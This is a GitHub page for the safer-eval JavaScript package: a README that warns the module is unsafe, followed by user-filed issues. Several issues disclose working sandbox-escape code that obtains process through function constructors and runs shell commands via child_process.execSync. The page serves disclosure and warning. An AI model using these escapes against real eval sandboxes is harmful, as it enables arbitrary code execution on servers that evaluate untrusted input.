commenthol / safer-eval

a safer eval

safer-eval but harmful

harmful as eval

This approach has proven to be HARMFUL and does not suit as repacement for eval in node and browser. Before using this module, ask yourself if there are no better options than using saferEval. It is potentially better than the bad old eval() but has harmful potential. Checkout the "harmful context" tests section.

Warning: The saferEval function is harmful - so you are warned!

Better packages:

• For node check vm2.

---

If you like to post exploits you found on this module, feel free to do so. Please file an issue with your findings.

Maybe this helps then others to build a better sandbox.

---

In node the vm module is used to sandbox the evaluation of code.

The browser version browser.js might not be as safe as the node version index.js as here no real sandboxing is available. Please consider modules like sandboxr.

Runs on node and in modern browsers:

	Versions
node	8, 10, 11, 12
Chrome	70, 75
Firefox	60, 68
Edge	17, 18
IE	11
Safari	11, 12
iOS Safari	11.3, 12.0

Installation

npm install --save safer-eval

Implementation recommendations

Use strict mode

Always use 'use strict' mode in functions/ files calling saferEval(). Otherwise a sandbox breakout may be possible.

'use strict'
const saferEval = require('safer-eval')

function main () {
  'use strict' //< alternative within function
  const res = saferEval('new Date()')
  ...
}

Run in worker

Be aware that a

saferEval('(function () { while (true) {} })()')

may run infinitely. Consider using the module from within a worker thread which is terminated after timeout.

Avoid context props

Avoid passing context props while deserializing data from hostile environments.

Usage

context allows the definition of passed in Objects into the sandbox. Take care, injected code can overwrite those passed context props! Check the tests under "harmful context"!

Parameters

code: String, a string containing javascript code

context: Object, define globals, properties for evaluation context

Returns: Any, evaluated code

Example:

in node:

'use strict' //< NEVER FORGET TO ADD STRICT MODE in file/ function
             //< running `saferEval`
const saferEval = require('safer-eval')
const code = `{d: new Date('1970-01-01'), b: new Buffer('data')}`
const res = saferEval(code)
// => toString.call(res.d) = '[object Date]'
// => toString.call(res.b) = '[object Buffer]'

in browser:

'use strict' //< NEVER FORGET TO ADD STRICT MODE in file/ function
             //< running `saferEval`
const saferEval = require('safer-eval')
const code = `{d: new Date('1970-01-01'), b: function () { return navigator.userAgent }`
const res = saferEval(code, {navigator: window.navigator})
// => toString.call(res.d) = '[object Date]'
// => toString.call(res.b) = '[object Function]'
// => res.b() = "Mozilla/5.0 (..."

To minimize any harmful code injection carefully select the methods you allow in context

const code = `window.btoa('Hello, world')`

// AVOID passing a GLOBAL context!!!
const res = saferEval(code, {window: window})

// BETTER - code needs only access to window.btoa
const clones = require('clones')
const context = {
  window: {
    btoa: clones(window.btoa, window)
  }
}
const res = saferEval(code ,context)
// => res = 'SGVsbG8sIHdvcmxk'

Reusing context

Use new SaferEval() to reuse a once created context.

'use strict' //< NEVER FORGET TO ADD STRICT MODE in file/ function
             //< running `saferEval`
const { SaferEval } = require('safer-eval')
const safer = new SaferEval()
const code = `{d: new Date('1970-01-01'), b: new Buffer('data')}`
const res = safer.runInContext(code)

License

MIT

safer-eval's Issues

Found a bypass please open a Security Advisory

Hi!

I found a bypass. Please open a GitHub Security Advisory:

https://github.com/commenthol/safer-eval/security/advisories

Security Notice & Bug Bounty - Arbitrary Code Execution - huntr.dev

Overview

safer-eval is a safer approach for eval in node and browser.

Affected versions of this package are vulnerable to Arbitrary Code Execution via generating a RangeError: Maximum call stack size exceeded.

Proof of Concept (Credit: Jonathan Leitschuh)

const theFunction = function () {
  const f = Buffer.prototype.write;
  const ft = {
    length: 10,
    utf8Write(){}
  };
  function r(i){
    var x = 0;
    try{
      x = r(i);
    }catch(e){}
    if(typeof(x)!=='number')
      return x;
    if(x!==i)
      return x+1;
    try{
      f.call(ft);
    }catch(e){
      return e;
    }
    return null;
  }
  var i=1;
  while(1){
    try{
      i=r(i).constructor.constructor("return process")();
      break;
    }catch(x){
      i++;
    }
  }
  return i.mainModule.require("child_process").execSync("id").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));

Bug Bounty

We have opened up a bounty for this issue on our bug bounty platform. Want to solve this vulnerability and get rewarded 💰? Go to https://huntr.dev/

We will submit a pull request directly to your repository with the fix as soon as possible. Want to learn more? Go to https://github.com/418sec/huntr 📚

Automatically generated by @huntr-helper...

Sandbox Escape

The following can be used to break out of the sandbox:

var saferEval = require("safer-eval");
var code = "setInterval.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString();";
console.log(saferEval(code));

Other than setInterval, one can also use clearInterval, clearTimeout and setTimeout

"SyntaxError: Unexpected token -" In Browser

Hi, I am trying to use your package (thank you for creating it by the way :) ). But it seems that it does not work on the browser:

import saferEval from 'safer-eval'
console.log('the result' + saferEval('1 + 1'))

This code results in a "SyntaxError: Unexpected token -" in the browser. The same code in nodeJS works...

EDIT: Ho, sorry, it seems to be fixed by #1. Are you planning to merge it anytime soon and make a release of it?

Variable problem

Whenever someone tries to assign a variable for example
let test = "test"
It will throw
SyntaxError: Unexpected strict mode reserved word

Breakout

One can break out of the sandbox with the following code in node:

const saferEval = require("./src/index");

const theFunction = function () {
  const process = clearImmediate.constructor("return process;")();
  return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));